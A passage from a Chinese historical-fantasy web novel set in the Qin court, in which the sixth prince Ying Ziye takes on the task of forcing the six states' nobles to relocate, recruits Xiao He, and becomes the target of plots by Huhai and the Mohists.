高渐离深吸一口气,水寒剑上的冰霜渐渐消退。
“十年都等了……”
“还差这一时吗?”
雪女指尖的冰莲悄然绽放,飘落的雪花凝在高渐离掌心。
高渐离闭了闭眼。
当他再次睁开时,眼中的杀意已化作深不见底的幽潭。
他轻轻握住那片雪花,寒气在掌心留下一道血痕。
“咱们要继续查六公子。”
雪女的声音比平时更冷了几分。
“也罢,我负责探路。”
高渐离声音低沉,指尖在水寒剑上划过一道冰痕。
雪女突然伸手,冰凉的手指在他腕间一触即离:
“太危险。”
短短三个字,却透着不容反驳的坚决。
两人目光在空中交汇,无需言语就明白对方的担忧。
檐角铜铃轻响,夜风卷起雪女的面纱。
高渐离抬头望见雪女立在月下的剪影。
那样的身姿,他见过千百次,却依然会在某个瞬间被惊艳。
就像此刻,月光穿透她扬起的白绫,恍若谪仙。
“那…我们同去。”
他终于妥协,声音比平时柔和三分。
雪女唇角微扬,指尖凝出一朵小小的雪莲:
“好。”
简单的一个字,却让高渐离眼中冰雪消融。
……
翌日。
帝宫朝会。
青铜编钟的余韵还在殿梁间回荡,而文武百官却已汗透重衫。
昨日黑龙卷轴入宫时的恐怖景象,仍如噩梦般萦绕在众人心头。
那渗血的龙纹铜匣、十二名黑冰台死士抬辇入殿的肃杀之气,以及帝王接过密报时,眼中一闪而过的骇人金芒!
而此刻,始皇帝高踞龙台之上,玄色帝袍上的金线玄鸟纹在晨光中泛着冷芒。
他指尖轻叩鎏金扶手,每一声都像敲在群臣心尖。
治粟内史站在后排,双腿不受控制地发抖。
扶苏紧攥着袖中的《论语》,指节发白。
他虽不知密报具体内容,但黑龙卷轴现世,必是惊天动地的大事!
淳于越站在他身后,面色惨白如纸,连呼吸都放得极轻,生
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怕引起帝王注意。
整个大殿静得可怕。
唯有帝王指尖叩击扶手的声响,如催命符般回荡!!
百官低着头,不敢对视,心中却掀起惊涛骇浪——
“难道东郡出了变故?”
“莫非六国余孽又有异动?”
“该不会是天降灾祸……”
就在众人思绪纷乱之际,始皇帝突然停下叩击!
“啪!”
一份竹简被甩下龙台,在玉阶上滚开,发出清脆的声响。
这声音在死寂的大殿中,犹如惊雷炸响!
“哗啦啦!”
竹简展开,露出里面密密麻麻的名单!
那是至今未迁入咸阳的六国贵族名录。
竹简滚到李斯脚边时,这位丞相的官靴微不可察地后撤了半步。
他知道…
这烫手山芋,谁接谁死!!!
“诸位爱卿。”
始皇帝的声音不疾不徐,却让殿柱上的青铜饰物微微震颤。
“说说。”
满朝文武,如坠冰窟!
蒙毅的铠甲发出细微的“咔咔”声。
那是他手指太过用力,关节发出的**。
治粟内史则死死低着头,仿佛地上有什么绝世珍宝吸引着他的目光。
其余公卿大臣,更是个个顾其左右。
谁也不敢发声。
任谁都知道,这事沾不得!
因为,谁都清楚这“说说”二字的分量——
三年前,邯郸郡守就是在答错这句话后,全族被发配骊山修陵。
扶苏攥紧了袖中的《论语》,儒雅的眉宇间闪过一丝挣扎。
六国贵族?
那份黑龙卷轴,竟涉及此事?!
他刚要迈步,却被淳于越死死拽住衣角,目中的警告意味,不言而喻!
而与此同时。
始皇帝的声音越来越轻,九旒冕下的目光却越来越冷。
他指尖轻叩龙榻扶手,每一声都像丧钟般回荡。
一刻钟过去了。
两刻钟过去了...
大殿内的温度越来越低。
始皇帝的脸色已经阴沉得能滴出水来,玄色帝袍上的金线龙纹仿佛活了过来,在阴影中游动。
“好,很好。”
帝王突然轻笑一声,这笑声却让所有人汗**倒竖!
他缓缓起身,鎏金扶手上赫然留下五道指痕!
“朕的朝堂……”
“儿臣愿往。”
就在这时!
清朗的声音突然打破凝重。
赢子夜懒洋洋地从队列末端走出,玄色锦袍上竟还沾着几点蜜饯的糖渍。
他走上前来,弯腰拾起竹简时,腰间玉佩发出叮呤咣啷的摇晃声。
始皇帝冕旒下的目光骤然锐利!
“哦?”
“六弟!”扶苏终于忍不住出声,
“此事当以仁德之心,兼顾……”
赢子夜突然轻笑,随手将竹简揣在后腰。
“大哥可知,那东郡陨石上刻着什么?”
他不光看着扶苏,也环视着噤若寒蝉的百官,一字一顿。
“既然都不知道,就请…不要再妄谈此事!!”
殿内温度骤降!
百官皆是呼吸一滞!
扶苏闻言,脸色凝重万分,手指不自然的在颤抖:“那…六弟又是如何打算?”
“臣弟以为——”
赢子夜突然敛了笑意,眼中金芒暴涨!
“一人抗命,杀一人;”
“十人抗命,灭一族!”
“百人抗命……”
他手中把玩着玉佩。
“夷三族!!!”
第23章 这骂名,儿臣背了!
此话一出,整座帝宫如惊雷炸响!
始皇帝闻言,神色绽放异彩!!!
他缓缓起身,玄色帝袍无风自动。
九旒冕下的双目如炬,直视赢子夜:
“朕的剑,已沉寂太久。”
他缓缓抬手,殿外突然传来金铁交鸣之声!
一名禁卫统领捧着一方玄铁剑匣鱼贯而入,每一步都无比隆重。
“锵——!”
剑匣自行开启,一道血色剑光冲天而起!
此乃观台定秦剑!
它悬浮半空,剑身上“受命于天”四字铭文正渗出猩红血珠。
始皇帝大袖一挥,长剑如雷霆般射向赢子夜:
“你记住…”
“持此剑者,如朕亲临!”
赢子夜抬手接剑的刹那,整座大殿的地砖突然翻涌如浪!
群臣踉跄跌倒,唯有他稳稳立于惊涛之中。
剑刃与他掌心相触的瞬间,爆发出震耳欲聋的龙吟。
他抚过剑身,任由自己的血染红指尖。
当他抬头时,眼中金芒与剑光交相辉映:
“父皇放心!儿臣定让他们明白…”
剑锋轻转,映出他森冷的笑意!
“何为…”
“大秦天威!!!”
扶苏的《论语》啪嗒落地。
他望着六弟把玩着天子剑的模样,突然想起幼时那个连蚂蚁都不愿踩死的孩子。
此刻赢子夜眼中闪烁的,分明是比父皇更令人胆寒的……
帝王之相。
而竹简散开的脆响,却在死寂的大殿中格外刺耳。
这一声,仿佛打开了闸门!
以淳于越为首的儒生们顿时如潮水般涌出!!
“荒谬!”
淳于越白须颤抖,笏板直指赢子夜,
“《孟子》有云‘以力服人者,非心服也’!公子此言,与暴虐桀纣何异?”
他身后三名博士立刻附和:
“《尚书》曰‘抚我则后,虐我则仇’!”
“《礼记》明载‘刑不上大夫’!”
声浪一重高过一重。
扶苏脸色煞白,急忙拦在双方之间:
“诸位师长且慢…”
然而,他的衣袖被淳于越猛地扯住,老儒生枯瘦的手指几乎掐进他皮肉!
“长公子!!!”
淳于越双眼通红,痛心疾首,
“您熟读圣贤书,岂不知‘君子远庖厨’?”
“这等血腥之事……”
他突然又转向赢子夜,厉声喝道:“六公子可知‘仁者爱人’四字如何书写?!”
赢子夜把玩着定秦剑穗,闻言轻笑一声。
“淳于博士倒提醒我了。”
他突然展袖一挥,剑气将地上《论语》残卷钉在柱上,
“这‘人’字,确实该用血来写。”
“放肆!!!”
灰袍博士气得浑身发抖。
“孔子曰——”
“够了!”
扶苏突然提高声调,温润的嗓音罕见地带着颤抖!!!
他走上前去,扒下破碎的竹简,指尖被割出血痕也浑然不觉:
“六弟年幼气盛,诸位师长不必较真!”
淳于越却根本不听,直接开始跪地叩首:
“陛下!老臣泣血上谏!”
他重重以额击地,鲜血顺着皱纹流淌。
“若行此**,天下必群起而——”
“啪!”
一颗蜜饯核,突然击中淳于越的眉心。
赢子夜不知何时已走到老儒生面前,弯腰时玉佩垂落,正好悬在对方染血的额前。
“博士啊……”
他轻叹着用剑尖挑起淳于越的下巴。
“您总说仁政仁政……”
剑锋突然下移,抵住对方心口,
“那当年六国城破时,怎么不见您用仁义劝降守军?”
满殿死寂。
淳于越的嘴唇剧烈颤抖,却吐不出半个字。
扶苏手中的竹简颤抖不已!
“六弟!”
他突然抓住赢子夜持剑的手腕,
“诸子百家各有所长……”
赢子夜似笑非笑地抽回手:“大哥放心。”
他转身时,剑穗扫过淳于越惨白的那张老脸!
“我这就去问问那些六国遗老——”
定秦剑突然出鞘三寸,寒光映亮他森冷的笑意!
“看是他们脖子硬,还是我的剑利!!!”
扶苏闻言,手还悬在半空,指尖却已开始微微发颤。
他望着六弟那双冷冽如霜的眼睛,喉头滚动了一下,温润的嗓音里带着兄长特有的恳切。
“子夜,此事尚有转圜余地……”
“转圜?”
赢子夜嗤笑一声,定秦剑在掌心转了个漂亮的剑花!
“大哥是觉得,那些躲在旧都的六国贵族,会因几句《论语》就乖乖迁来咸阳?”
他突然逼近一步,剑穗上的玉坠与扶苏腰间的玉佩相撞,发出清脆的声响!
“不如——”
剑尖倏地指向满朝文武:
“将此重任交给大哥?或者…”
寒芒扫过噤若寒蝉的群臣。
“哪位大人愿担此责?”
死寂。
几位文臣的笏板“啪嗒”掉在地上,又被他们惊慌失措的捡起。
而武将们的铠甲缝隙间,也是渗出冷汗。
他们一个个紧握拳头,一言不发。
朝堂之上!
三公九卿
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皆无言!!!
而那个方才还慷慨激昂的淳于越,此刻正死死攥着扶苏的衣袖往后拽。
扶苏的嘴唇轻轻颤抖。
他望着六弟讥诮的眼神,突然想起儿时那个纯真烂漫的孩童。
如今那孩童眼中的星光,已淬炼成令人胆寒的锋芒。
“我……”
扶苏刚开口,淳于越就猛地扯他后退:
“长公子三思!此事有违圣贤之道啊!”
赢子夜突然大笑,笑声震得梁上尘埃簌簌而落。
他反手将定秦剑插回鞘中,金属摩擦声刺得人牙酸!
“好一个圣贤之道!”
玄色锦袍在转身时翻卷如乌云。
“满口仁义的不敢沾血,心怀鬼胎的躲在人后——”
他大步走向殿下,腰间玉佩与剑鞘碰撞出金玉之声。
在单膝跪地的刹那,忽然抬眸:
“父皇!”
“这骂名,儿臣背了。”
晨光为他轮廓镀上金边,投在地上的影子却如展翅玄鸟。
扶苏怔怔望着那个背影,恍惚间竟与记忆里父皇灭六国时的身影重叠。
淳于越还在他耳畔絮叨圣人之言云云,声音却越来越远。
扶苏捏紧掌中破碎的《论语》,发现那块被剑气钉在柱上的残片,恰好是“民可使由之”那一章。
竹简裂痕,将“不可”二字生生割裂!
“哈哈哈!”
紧接着!
一阵雷霆般的笑声骤然炸响!
整座章台宫都在声浪中震颤,青铜灯盏的火焰被压得几乎熄灭。
始皇帝霍然挺身,玄色帝袍上的金线龙纹在激荡的气流中如活物般游动。
“彩!!”
帝王的声音如同九天神雷,震得群臣耳膜生疼。
他每一步踏下,鎏金地面就裂开蛛网般的纹路。
当走到龙台边缘时,九旒冕下的双目迸发出骇人的金芒。
“朕的剑…”
赢子夜手中的定秦剑突然自行出鞘。
剑身铭文此刻完全变成了流动的岩浆。
将少年公子俊逸的面容映得半面如神,半面似魔!
“既赐予你,便是天意!”
始皇帝大袖一挥,殿中三十六盏青铜灯齐齐爆裂!
飞溅的铜片如雨般射向四周。
李斯的官帽被削去半截,淳于越的白须被斩落一绺,却无人敢动分毫!
“六国余孽…”
帝王的声音突然变得轻柔,却让所有人毛骨悚然,
“要么跪着进咸阳!”
“要么…”
“躺着入土!!!”
最后一个字落下时,悬在百官咽喉处的铜片同时化为齑粉。
第24章 千古一相——萧何!
六公子府。
后院。
赢子夜退朝回府,懒散地瘫在软榻上,随手将定秦剑丢在一旁。
剑锋“锵”的一声插入青石地面。
“公子,招贤馆那边已经筛出了第一批可用之人。”
主事捧着竹简,小心翼翼地递上。
“共三十七人,大多是军中不得志的悍卒,或是江湖游侠。”
赢子夜眼皮都没抬,随手抓了颗蜜饯塞进嘴里。
“嗯,按之前说的办,丹药赏下去,交给昭鞅练练。”
主事犹豫了一下,又补充道:“不过……其中有位沛县来的萧何,此人精通律法,算学极佳。”
“在招贤馆的策论中名列第一。”
“萧何?”
赢子夜嚼着蜜饯的动作顿了一下,蜜饯核卡在牙缝里都忘了吐。
这特么不是汉初三杰吗?!
抽到SSR了?!
招贤馆那破地方还真能薅出个千古名相来?
随即,他懒洋洋地翻了个身,随手从案几上抽出一卷空白竹简,潦草地写了几笔,丢给主事。
“让他来见我。”
主事刚要退下,赢子夜又漫不经心地补了一句:“对了,先晾他两个时辰。”
“啊?”主事一愣。
赢子夜打了个哈欠,眯着眼看向院角的日晷。
“本公子困了,睡醒再说。”
说罢,他随手扯过锦被往头上一蒙,不一会儿就传来均匀的呼吸声。
主事捧着竹简,嘴角抽了抽,心里暗叹。
这位公子,还真是……随性啊。
……
长公子府。
内院。
扶苏独坐案前,指尖轻轻摩挲着今早带上朝的《论语》残简。
温润的眉宇间罕见地染上一丝愁绪。
窗外竹影婆娑,却掩不住他眼底的复杂。
“父皇竟将定秦剑都赐予六弟了……”
他低声喃喃,声音里带着几分难以置信。
那把剑,象征着大秦的杀伐与威严,唯有帝王亲征时才可佩戴。
如今,却落在了赢子夜手中。
“长公子!”
淳于越带着一众儒生匆匆入内,白须因激动而微微颤抖。
“六公子此举,实乃暴虐无道!”
“以杀止杀,岂是圣王之道?”
另一名灰袍博士愤然拍案:“《孟子》曰:‘以力服人者,非心服也’!”
“六公子这般行径,与商纣何异?”
扶苏闭了闭眼,指节微微发白。
他何尝不知六弟手段酷烈?
可今日朝堂之上,满朝文武无人敢应,唯有赢子夜站了出来,背负骂名。
“诸位师长……”
他声音温和,却透着疲惫,“六弟虽手段刚硬,但此事终究是为大秦安定。”
淳于越眼中精光一闪,忽然压低声音:“长公子,老臣有一策。”
他凑近一步,袖中滑出一卷绢布。
上面密密麻麻标注着六国贵族隐居之地。
“六公子行霸道,长公子可行王道。”
淳于越捋须低语:“他**立威,长公子便可施恩安抚!”
“他逼人迁秦,长公子便可暗中派人游说,以仁义感化!”
另一名儒生立刻附和:“正是!以刚济柔,方能显长公子仁德之名!”
扶苏指尖一顿,抬眸看向众人:“师长的意思是……让我暗中接触六国遗族?”
淳于越点头:“不错。”
“六公子持剑威逼,长公子则以礼相待。”
“届时,天下人皆知——”
“暴虐者是六公子,仁德者是长公子!!!”
扶苏沉默良久,目光落在案上残破的《论语》上。
竹简裂痕处,恰好是“民可使由之,不可使知之”一句。
窗外微风拂过,竹叶沙沙作响。
终于,他轻叹一声:“此事……容我再思量。”
儒生们面面相觑,还想再劝,却被扶苏抬手止住。
“退下吧。”
待众人离去,扶苏独自立于窗前,望着远处章台宫的方向,眼中情绪复杂难明。
“六弟……”他低声轻语,“你究竟是想做恶人。”
“还是…”
夜风卷起案上竹简,残页翻飞间,隐约可见“兄弟阋墙”四字。
……
与此同时。
十八公子府。
一间密
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室之中。
胡亥斜倚在锦榻上,指尖轻抚着一只通体雪白的猫。
窗外落花飘过,他伸手接住一片花瓣,在指间轻轻捻碎。
“老师。”
他声音清朗,带着少年人特有的朝气,可那双眼睛却幽深如古井,不见半点波澜。
赵高垂手立于阴影处,袖中的手指微微一动:“公子都听说了?”
“六哥得了定秦剑啊…”
胡亥轻笑,指尖划过猫咪的脊背,惹得那畜生发出舒服的呼噜声。
“父皇这是要让他沾血呢。”
他突然掐住猫的后颈,那猫儿顿时僵住,琥珀色的瞳孔骤缩!!
“你说…”胡亥歪着头,语气天真,“六国那些老东西,知道自己要**吗?”
赵高嘴角微扬:“他们很快就会知道。”
胡亥松开手,猫咪立刻窜到角落,缩成一团发抖。
他站起身,走到窗前,阳光为他俊秀的侧脸镀上一层金边,可吐出的字句却冰冷刺骨:
“那就帮他们一把。”
他转身,脸上挂着人畜无害的微笑:“让墨家的老鼠们去报信,就说…”
“赢子夜持天子剑,要夷尽六国遗族!!!”
赵高眯起眼:“公子高明,借刀**,不沾血腥。”
胡亥轻轻摇头,从案上拈起一枚柿子把玩:“老师错了。”
他指尖用力,柿子顿时爆裂,橙红的汁液顺着白皙的手指滴落。
“我是要他们…”
“狗急跳墙。”
阳光透过雕花窗棂洒进来,落在胡亥瓷白的脸颊上,将他唇角那抹甜笑镀上一层暖色。
他歪着头,睫毛在眼下投出扇形的阴影,乍看像个不谙世事的少年。
可若细看——
那双眼眸黑得瘆人,如同两口深不见底的古井,连阳光都照不进去。
他笑着咬碎柿子,果实在齿间发出“咯吱咯吱”的声响,像在咀嚼谁的骨头。
赵高躬身:“老奴这就去办。”
待赵高退下,胡亥慢条斯理地擦拭着手指,突然轻笑出声:
“六哥啊六哥…”
“这把剑,可别割伤了自己的手。”
第25章 你可愿执此剑,代本公子推行此事!
日影西斜。
堂内的青铜灯盏渐次亮起。
萧何静立在厅中,身形笔直如松,目光平静地扫过堂内陈设——
简朴而不失威仪,与他这一路听说的六公子形象颇为吻合。
从沛县到咸阳,他走了整整旬日。
这旬日间,他听遍了关于赢子夜的传闻。
定边之策、朝堂献丹、请剑肃清六国遗族……
每一件都足以震动天下!
可偏偏这位六公子,却总是一副懒散模样,仿佛万事不萦于心。
“有意思……”
萧何心中暗忖,指尖无意识地摩挲着袖中的竹简。
那是他在招贤馆所作的《论秦律疏议,治秦三策》。
字字斟酌,句句务实!
堂外传来脚步声,萧何微微抬眸,却见一名侍女端着茶盏进来,恭敬道:
“先生久等,公子方才醒了,请您再稍候片刻。”
萧何淡然一笑,拱手道:“无妨。”
他并不急躁。
这一路走来,他见过太多权贵——
沛县的县令骄横…
楚地的豪强跋扈…
可这位六公子却截然不同。
明明手握天子剑,却偏偏要晾着他。
明明可雷霆手段震慑六国,却偏偏先以招贤之名网罗人才!
“要么是真懒散……”
萧何端起茶盏,轻抿一口。
“要么,便是藏得极深。”
堂外廊下,传来懒洋洋的哈欠声。
接着是赢子夜那特有的、带着几分漫不经心的嗓音。
“萧何是吧?沛县来的?”
萧何转身,只见一位锦衣公子倚在门边,玄色衣袍松松垮垮地披着。
手里,还捏着半块没吃完的蜜饯。
他眉眼疏懒,可眸底却如深潭,让人看不透情绪。
萧何不卑不亢,长揖一礼:“沛县萧何,见过六公子。”
赢子夜随手将蜜饯丢进嘴里,嚼了两下,含糊道:“听说你律法学得不错?”
萧何微微一笑:“略通皮**,不敢当公子夸赞。”
“本公子…”他漫不经心地开口,“倒是有一事不解。”
萧何微微躬身:“公子请讲。”
赢子夜转身将蜜饯往案上一丢,发出“嗒”的一声轻响。
“我大哥仁厚宽和,门客三千,其中不乏当世大儒、六国贵胄。”
“你既有才学,为何不去投他,反倒来我这小小六公子府?”
萧何神色不变,目光坦然直视赢子夜!
“回公子,下官本是沛县一狱吏,出身微末,虽读了些书,通些律法,但在长公子府中…”
他顿了顿,声音沉稳有力。
“儒家讲‘亲亲尊尊’,门阀贵胄论‘血统家世’。”
“下官一介寒门,纵有才学,又岂能在那般门第中立足?”
赢子夜眉梢微挑,眼中闪过一丝兴味。
萧何继续道:“而六公子不同。”
“公子招贤纳士,不问出身,唯才是举。”
“下官虽卑贱,却也愿以平生所学,报效大秦!!”
他说这话时,脊背挺得笔直,虽自称“卑贱”,眼中却无半分自卑之色。
反倒…透着一股沉稳的自信。
赢子夜忽然笑了:“你倒是实诚。”
他望着眼前这个不卑不亢的沛县小吏,眼中闪过一丝玩味。
扶苏有长公子之名。
有儒家全力支持,更有蒙恬这样的名将做老师,在朝堂上可谓占尽优势。
不过……
赢子夜心中暗忖。
民间多奇士,朝堂之上,反倒尽是些庸碌之辈。
他想起自己府中那些从市井招揽的门客。
有被军中排挤的悍卒,有怀才不遇的谋士,甚至还有叛逃的**。
这些人或许出身卑微,但个个都是实打实的能人。
赢子夜嘴角微扬。
光是不计出身这一条…
就足以让天下英才趋之若鹜了。
他懒洋洋地往后一靠,目光落在萧何身上。
这个看似普通的狱吏,言谈举止间透露出的见识与气度。
可比那些整天把“仁义道德”挂在嘴边的儒生强多了。
“有意思…”
赢子夜在心中轻笑,“看来我这招贤馆,还真网到条大鱼。”
……
随后,他将萧何请进书房。
赢子夜指尖轻点案几,目光淡淡扫过萧何:
“既来投效,总该让本公子看看,你有何才学?”
萧何不慌不忙,从怀中取出一卷竹简,双手奉上:
“此乃下官所撰《治秦三策》,请公子过目。”
赢子夜随手接过,展开一看,眼神微不可察地一凝——
竹简之上,字迹工整,条理分明。
首篇论“刑法宽严”,主张“严而不酷,威而不暴”。
既维持秦法根基,又需稍加缓和,以安民心;
次篇论“民之所急”,详述如何调整赋税、徭役,使百姓喘息;
末篇更是大胆!
直言“天下归一,当思长治久安之策”,提出“以秦法治国,以六国文教润民”的构想。
——此篇若传出去,足以震动朝野!!!
赢子夜心中暗惊,面上却依旧懒散,随手将竹简丢回案上:
“写得不错,可惜……”
他抬眸,似笑非笑,“不适用于当下大秦。”
萧何眉头微皱:“公子何出此言?”
赢子夜起身踱步,语气随意,却字字如刀:
“诸子百家,其心各异——”
“儒家欲复周礼,墨家暗中抗秦,道家冷眼旁观。”
“六国余孽蛰伏待发,关中氏族只顾眼前利益。”
“北疆匈奴虎视眈眈,百越之地尚未归心……”
他转身直视萧何,“你这套怀柔之策,现在用,只会让那些暗处的豺狼以为…”
“大秦怕了。”
萧何瞳孔骤缩!!!
他原以为这位六公子,最擅长的是借势打势。
却不想对方眼光如此毒辣,对大势的把握竟比自己更深一层!
他略一沉吟,指尖在案几上轻点,声音不急不缓:“公子所言极是。”
“然下官以为,杀伐虽可立威,却难收长远之效。”
他目光炯炯,继续道:“六国遗族盘踞地方百年,根深蒂固。”
“若一味以杀止杀,恐激起更烈反抗。”
“不若——”
“分而化之。”
赢子夜双目一眯,问道:“怎么个化法?”
“燕赵世仇,楚齐相轻。”
“可先拉拢弱族,孤立强族。”
“以利诱之,以势迫之。”
“待其分化,再逐个击破。”
萧何理清脉络,条理分明:“如此,既能削弱反抗之力,又可避免天下人非议公子残暴。”
赢子夜听完,忽然轻笑一声。
他随手抓起一枚青铜棋子,在指
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尖翻转:“你这策略,用在太平年月自是上选。”
棋子“嗒”地落在六国位置:
“但如今——”
又一颗黑子重重压在棋局中央。
“诸子百家暗中串联,六国余孽蠢蠢欲动。”
“北疆匈奴频频扰边,南越蛮夷伺机作乱。”
他抬眸,眼中锋芒毕露:
“大秦刚刚一统,需要的不是温水煮蛙,而是一把火——”
“烧尽所有心怀不轨者的妄想!!”
萧何呼吸一滞。
“公子明鉴。”
他深吸一口气,眼中闪烁着恍然之色,“那依公子之见……”
赢子夜懒洋洋地坐回软榻:
“先**,再讲理。”
短短六字,却让萧何脊背发寒!!
他猛然意识到。
眼前这位看似散漫的公子,心中的棋局竟铺得如此之大!
“不过……”
赢子夜忽然话锋一转,指尖点了点萧何的竹简。
“你这里面有句话倒是很对……”
“民之所急,在生不在死。”
他眯起眼,“等该杀的人杀完了,你这套…或许能用。”
萧何心中巨震!!!
他终于明白赢子夜的谋划!
先以铁血手段震慑四方,待天下真正归心,再行仁政。
如此刚柔并济,才是真正的帝王之道!!
“下官……受教了。”
萧何深深一揖,声音里带着前所未有的郑重。
紧接着,只见赢子夜的手指轻轻敲击着插在青石地面下的定秦剑。
剑身映着火光,泛出冷冽的寒芒。
他抬眸看向萧何,嘴角噙着一抹似笑非笑的弧度:
“萧何,你可知本公子已接下劝说六国贵族归秦一事?”
萧何微微颔首,神色凝重:
“下官已有所耳闻。”
他略一沉吟,终究还是直言劝谏:
“公子,恕下官直言,此事……实为险棋。”
“哦?”
赢子夜眉梢微挑,示意他继续。
萧何深吸一口气:
“若功成,六国遗族必恨公子入骨,天下人皆会骂公子手段酷烈。”
“若失败,陛下震怒,朝臣攻讦,公子将进退两难。”
他目光诚恳,“此事实乃吃力不讨好,公子何必自陷险境?”
赢子夜闻言,忽然低笑出声。
他缓缓起身,走到窗前,望着远处咸阳宫的轮廓,声音低沉而有力:
“因为…”
“本公子要立威。”
萧何一怔。
赢子夜转过身,目光如炬:
“朝堂之上,长公子有儒家拥趸,十八弟有赵高扶持。”
“而我呢?”
他轻笑一声,“一个闲散公子,凭什么让天下人记住?”
他手指抚过定秦剑的剑锋,走回案前。
鲜血顺着指尖滴落,却浑不在意:
“六国贵族不服?那就杀到他们服!”
“天下人骂我暴虐?那就让他们怕到不敢开口!!!”
萧何心头剧震!
他这才明白,赢子夜根本不在乎什么骂名。
他要的,是让所有人记住。
大秦除了仁厚的长公子、受宠的十八公子,还有一位手段狠辣、却能让天下人噤声的六公子!
赢子夜忽然将定秦剑推向萧何:
“今日…本公子给你一个机会。”
“你可愿执此剑,代本公子推行此事!”
第26章 萧何愿为公子执剑!
萧何盯着眼前的剑,呼吸微滞。
这把剑,象征着帝王的杀伐之权,更象征着赢子夜对他的绝对信任!
他缓缓抬头,看向赢子夜那双深不见底的眼睛——
那里没有试探,只有笃定。
这位六公子,竟早就算准了他会答应!
萧何深吸一口气,双手接过定秦剑,双膝跪地:
“萧何…愿为公子执剑!!!”
赢子夜满意地笑了。
他转身坐回软榻,懒洋洋地叮嘱着:
“别让本公子失望。”
萧何起身,握紧剑柄,心中再无半分犹豫。
这位主子,值得他效死!!
……
不知不觉,已是拂晓时分。
六公子府外。
晨光微熹。
萧何悬挎定秦剑,踏出府门时,衣袖间还带着一夜未眠的墨香。
他站在石阶上,深深吸了一口清冷的空气。
指尖无意识地摩挲着袖中那卷刚刚和六公子一同拟定的策略。
竹简边缘已被他攥出了汗渍。
东方既白,第一缕阳光刺破云层,正落在他的肩头。
这一夜。
他们详定了对六国遗族的分化之策、威逼之度、利诱之方,以及…
杀伐之道!!
那位看似懒散的六公子,对人心的把握,精准如执棋之手。
而且,他也并非那种刚愎自用之主。
对于自己提交的分化之法,他亦是用在了这份策略之中。
“萧先生。”
身后传来老管家的声音。
萧何转身,见对方捧着个锦盒:
“公子说,除了天子剑之外,还有此物…赠您。”
盒中是一方青玉印玺,印纽雕作獬豸之形。
象征律法公正。
萧何指尖触到冰凉的玉质时,突然明白这是怎样的信任。
街角,传来早市的喧闹声。
萧何整了整衣冠,迈步走入晨光之中。
他的步伐依旧稳健如常,唯有微微发颤的指尖泄露了心绪。
这一赌,他押上了毕生前程!!
而此刻朝阳如火,恰似他胸腔里烧起来的那团火。
他知道,自己赌对了!
他走过咸阳街头时,已有小贩开始叫卖晨炊。
寻常烟火气中,萧何摸了摸袖中的策论,嘴角浮现出一丝极淡的笑意。
这位新主,或许真能带着他,看到不一样的天下!
……
书房。
晨光透过窗棂洒落。
赢子夜倚在软榻上,指尖轻轻摩挲着案几上残留的墨渍。
那是昨夜与萧何论策时勾画的痕迹。
案边的茶水早已干涸,但那些纵横交错的线条,却仿佛仍映在他的眼底。
“萧何……”
他低声念着这个名字,眼中闪过一丝难得的赞赏。
昨夜那一番对谈,萧何所展现出的才学,远不止是一个沛县小吏该有的水准。
他对律法的精通、对民情的洞察、对六国贵族心理的把握。
甚至在某些方面,连赢子夜都感到意外。
“分化六国遗族,以利诱之,以威逼之,再以法束之……”
“用这种方法,辅佐我的杀伐方略,才是上佳之选!”
赢子夜回想着萧何提出的策略,嘴角微扬。
此人不愧是能在史册上留名的千古一相。
即便如今尚未崭露头角,但那份沉稳的智慧与务实的作风,已远超朝堂上那些夸夸其谈的儒生。
“让他执定秦剑去办这件事,倒是选对人了。”
赢子夜懒洋洋地伸了个懒腰,目光落在窗外。
那里,萧何的身影早已融入晨光之中,不见踪迹。
他之所以将如此重要的任务交给萧何,不仅仅是因为对方的才学。
更是为了给这个未来的肱股之臣一个机会。
一个立功的机会!
一个正式踏入朝堂的机会!
“骂名我来背,功劳他来得……”
赢子夜轻笑一声,随手抓起一颗蜜饯丢进嘴里。
“这笔买卖,划算。”
毕竟,萧何若能借此机会崭露头角,日后便是他在朝中最得力的助力。
而赢子夜自己,则依旧可以躲在幕后,继续做那个“闲散公子”。
“不过……”
他眯起眼,想起萧何接过定秦剑时,眼中闪过的坚定。
此人,或许比他想象的还要值得栽培。
阳光渐暖,赢子夜打了个哈欠,慢悠悠地躺回软榻。
“左膀右臂啊……”
他闭上眼,嘴角带着若有若无的笑意。
……
与此同时。
东郡。
墨家秘密据点。
潮湿的山洞内,火把将人影投在凹凸不平的岩壁上。
盗跖蹲在一块凸起的钟乳石上,指尖的瞬飞轮转得飞快,在石壁上切出细密的划痕。
“老铁,你猜我刚才看见谁了?”
他忽然咧嘴一笑:“田虎那疯子带着几十号人,正在北边矿洞里砸东西呢!”
大铁锤盘坐在火堆旁,粗壮的手臂上青筋暴起。
“哼!农家这群莽夫,闹出这么大动静,是生怕黑冰台找不到他们?”
“可不
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是嘛~”
盗跖翻身落下,瞬飞轮在指尖耍了个花式。
“不过更精彩的是…”
他压低声音:“我瞧见项氏一族的人了,他们伪装成了一支游侠势力,潜了进来。”
火堆突然爆出几点火星。
大铁锤猛地握紧拳头:“楚国那些余孽也来了?”
“何止~”
盗跖从怀里摸出个酒囊灌了一口。
“韩国的残党在城南买了三间铺子,燕国那帮老东西更绝…”
他忽然把酒囊砸在地上,“他们运了整整十车火油进城!”
突然,岩洞深处传来机关转动的咔咔声!
班大师的青铜机关臂从阴影中伸出,在地面铺开一张东郡布防图。
“查到了!蒙恬三日后会走这条官道。”
他枯瘦的手指划过某条山路。
“黄金火骑兵已经清空了沿途所有农户。”
盗跖吹了个口哨:“阵仗不小啊~”
“矩子有令。”
班大师的嗓音沙哑如锈铁,“你二人负责制造混乱,给‘无影’创造接触陨石的机会。”
“他已经将消息散布出去,现在正往东郡赶来…两日内必至!”
大铁锤“噌”地站起来,战锤砸得地面碎石飞溅。
“直接杀进秦军大营不是更痛快?”
“蠢货!”
班大师的机关臂突然伸长,狠狠敲在他头盔上。
“你想让墨家跟农家一样变成活靶子吗?”
盗跖笑嘻嘻地拦住暴跳如雷的大铁锤:“安啦老铁~”
他眨眨眼,“我有个更好玩的主意…”
指尖的瞬飞轮突然停住,盗跖露出狡黠的笑容。
“我的线人查到,十八世子胡亥最近在找六公子的麻烦。”
“不如我们…帮他们添把火?”
班大师的独眼闪过精光:“说清楚。”
“简单~”
盗跖的身影突然化作残影,瞬间出现在洞窟另一端。
“放消息说六公子手执天子剑,将要屠尽六国遗族,再假装成罗网的人刺杀几个贵族。”
他舔了舔嘴唇,“等他们狗咬狗时…”
大铁锤突然哈哈大笑:“好小子!够阴险!”
班大师却盯着盗跖:“不过要小心逍遥子,听说他已经到东郡了,只不过…人还未现身。”
盗跖的笑容僵了一瞬,随即又恢复玩世不恭的模样:“人宗掌门啊……”
